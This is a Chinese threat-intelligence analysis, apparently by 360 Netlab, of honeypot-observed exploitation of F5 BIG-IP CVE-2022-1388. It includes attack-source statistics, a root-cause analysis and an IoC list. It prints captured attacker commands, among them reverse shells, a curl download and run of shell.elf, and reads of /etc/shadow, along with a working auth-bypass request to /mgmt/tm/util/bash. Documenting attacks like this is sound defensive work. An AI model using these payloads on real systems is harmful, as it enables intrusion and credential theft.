F5 BIG-IP iControl REST 命令执行漏洞(CVE-2022-1388)在野传播分析

背景介绍


2022年5月5日，知名应用交付网络公司F5 Networks公布了旗下BIG-IP产品iControl REST组件的一个远程执行漏洞（点此查看官方公告），并提供了漏洞修复版本和临时修复方案，由于该产品市场占有率较高，漏洞影响面积大，引起安全社区广泛关注。漏洞背景信息如下所示：


影响范围： F5 BIG-IP 11.6.1 - 11.6.5, 12.1.0 - 12.1.6, 13.1.0 - 13.1.4, 14.1.0 - 14.1.4, 15.1.0 - 15.1.5, 16.1.0 - 16.1.2


披露日期： 2022.05.05


CVE编号： CVE-2022-1388


CVSS 3.1评分： 9.8


影响设备量级： 十万级


360网络安全研究院高级威胁狩猎蜜罐系统通过被动监测方式持续监控该漏洞在野传播过程，于北京时间2022年5月6日首次发现该漏洞的在野攻击数据包，同时我们发现Shellbot、挖矿木马等恶意软件已经开始利用该漏洞传播。相关在野漏洞攻击威胁情报已通过自动化形式输出。



漏洞在野传播情况


360网络安全研究院高级威胁狩猎蜜罐系统监测到自从2022年5月6日首次发现漏洞攻击数据包以来，该漏洞的攻击者IP数和攻击会话数都有明显增加。





部分攻击源IP地理位置分布如下：





攻击源IP数量Top10的国家/地区如下所示：





国家/地区
攻击源IP数




美国
58


中国
30


荷兰
26


德国
25


印度
19


孟加拉国
14


新加坡
11


埃及
8


英国
8


罗马尼亚
7





部分在野漏洞利用的命令信息如下所示：


id
whoami
cat /etc/passwd
echo 28z9BX0w4kMEak55tqaSMGDmAP1
echo 28zLDPCC3k6zrH2Es7DH1rxifzg
echo 28vi546TWLQfFsixTdyjLLyYOgg
echo 28vF7veMkSo2eZsu3JfeBQ03RNq
echo 28xCdoz7qlWjVzKBoel3ATz7VUu
hostname
echo 28x66VsIARvoGpbWnebWlBMQES4
/tmp/shell.elf
sh -i >& /dev/tcp/146.70.119.184/59300 0>&1
id && uname -a && cat /etc/hosts /etc/shadow && ifconfig -a\
ls
free -h
curl http://64.227.106.88:9999/shell.elf -O
chmod +x shell.elf; mv shell.elf /tmp/
curl http://64.227.106.88:9999/shell.elf -O; chmod +x shell.elf; mv shell.elf /dev/; /dev/shell.elf
pwd
test
sudo sh -i >& /dev/tcp/146.70.119.184/59300 0>&1
bash -i >& /dev/tcp/146.70.119.184/59300 0>&1
wget
run
asdasd
no



恶意软件传播情况如下图所示：






漏洞分析


CVE-2022-1388漏洞和CVE-2021-22986漏洞类似，都是通过X-F5-Auth-Token头绕过Apache httpd的Authentication的校验，转发请求到Jetty服务，Jetty判断X-F5-Auth-Token头为空时未对Authentication头信息校验，从而绕过认证。


CVE-2021-22986漏洞分析


在CVE-2021-22986漏洞版本16.0.1-0.0.3中，BIG-IP首先通过 Apache httpd处理请求，然后转发到本地8100端口的Jetty服务。httpd判断请求中存在X-F5-Auth-Token头时，转发请求到Jetty处理。


Jetty不对Authorization进行账号密码验证，在setIdentityData函数以账号admin设置userReference：





在completeEvaluatePermission函数中，当X-F5-Auth-Token头为空时，调用completeEvaluatePermission函数判断userRef是否为admin的userReference进行认证，存在认证绕过漏洞：





在F5 BIG-IP 16.1.2.1版本测试CVE-2021-22986漏洞补丁，X-F5-Auth-Token头为空时，Apache httpd认证不通过：





蜜罐系统捕获payload


POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.0.0.1
User-Agent: python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive, X-F5-Auth-Token
Content-Type: application/json
X-F5-Auth-Token: a
Authorization: basic YWRtaW46
Content-Length: 42

{"command": "run", "utilCmdArgs": "-c id"}



CVE-2022-1388漏洞分析


在F5 BIG-IP 16.1.2.1版本，通过蜜罐捕获的payload进行测试，到达Jetty服务时，X-F5-Auth-Token头为空：





X-F5-Auth-Token头非空，Apache httpd转发请求给Jetty服务。根据Connection: keep-alive, X-F5-Auth-Token字符串，该payload利用逐跳（hop-by-hop）请求头滥用漏洞，在Apache httpd转发请求给Jetty时，会删除Header中的X-F5-Auth-Token头。


在F5 BIG-IP 16.1.2.1版本，新增过滤条件，当X-Forwarded-Host为localhost或127.0.0.1时，调用setIdentityData以账号admin设置userReference:





在completeEvaluatePermission函数中，X-F5-Auth-Token头为空时，判断userRef为admin的userReference通过认证：





漏洞修复


在新版本F5 BIG-IP 16.1.2.2中测试发现，即使存在非空X-F5-Auth-Token头，Apache httpd不再转发请求到Jetty服务，X-F5-Auth-Token认证由Apache httpd处理：






处置建议


我们建议F5 BIG-IP用户立刻升级到修复版本（13.1.5, 14.1.4.6, 15.1.5.1, 16.1.2.2, 17.0.0），无法立刻升级的，建议参考官方公告进行临时修补。



联系我们


感兴趣的读者，可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。



IoC List


IP


31.178.7.61     Poland          AS6830          LibertyGlobal
85.106.114.175  Turkey          AS47331         TTNET
162.214.0.49    United States   AS46606         UNIFIEDLAYER-AS-1
80.94.93.125    United Kingdom  AS47890         UNMANAGED-DEDICATED-SERVERS
158.69.0.205    Canada          AS16276         OVH
76.69.13.198    Canada          AS577           BACOM
37.0.11.238     The Netherlands AS211252        AS_DELIS
34.126.143.139  Singapore       AS15169         GOOGLE
103.167.16.10   Bangladesh      AS139720        DHAKANET-AS-AP
185.219.134.179 Turkey          AS205399        HOSTIGGER
185.204.1.181   Finland         AS51765         CREANOVA-AS
172.81.129.138  United States   AS27176         DATAWAGON
194.5.73.6      The Netherlands AS50559         DIVD
194.233.77.245  Singapore       AS141995        CAPL-AS-AP
45.32.116.64    Singapore       AS20473         AS-CHOOPA
112.79.128.227  India           AS38266         VODAFONE-IN
128.199.109.248 Singapore       AS14061         DIGITALOCEAN-ASN
165.22.71.198   Germany         AS14061         DIGITALOCEAN-ASN
128.92.198.251  United States   AS20115         CHARTER-20115
5.188.122.161   Australia       AS202422        GHOST
138.199.21.59   Japan           AS212238        CDNEXT
81.157.162.197  United Kingdom  AS2856          BT-UK-AS
110.226.77.239  India           AS24560         AIRTELBROADBAND-AS-AP
45.76.98.112    Japan           AS20473         AS-CHOOPA
198.211.120.110 The Netherlands AS14061         DIGITALOCEAN-ASN
47.154.53.138   United States   AS5650          FRONTIER-FRTR
35.198.231.69   Singapore       AS15169         GOOGLE
182.3.104.2     Indonesia       AS23693         TELKOMSEL-ASN-ID
125.212.220.40  Viet Nam        AS38731         VTDC-AS-VN
91.193.4.39     Switzerland     AS9009          M247



URL


http://202.28.229.174/ldr.sh
http://89.44.9.246/pp
http://64.227.106.88:9999/shell.elf
http://154.204.25.156:8001/config



md5


05dec77dbc765b43d3b969146da92bb6
2479686ed1bd82686960335ff0ea5ac6
bc485470f634c659e68fbb18b1f92970
4ed29e950603ce4ac6b7ee36a5a9f709
32326b11a373fc682f9389596e23d3c1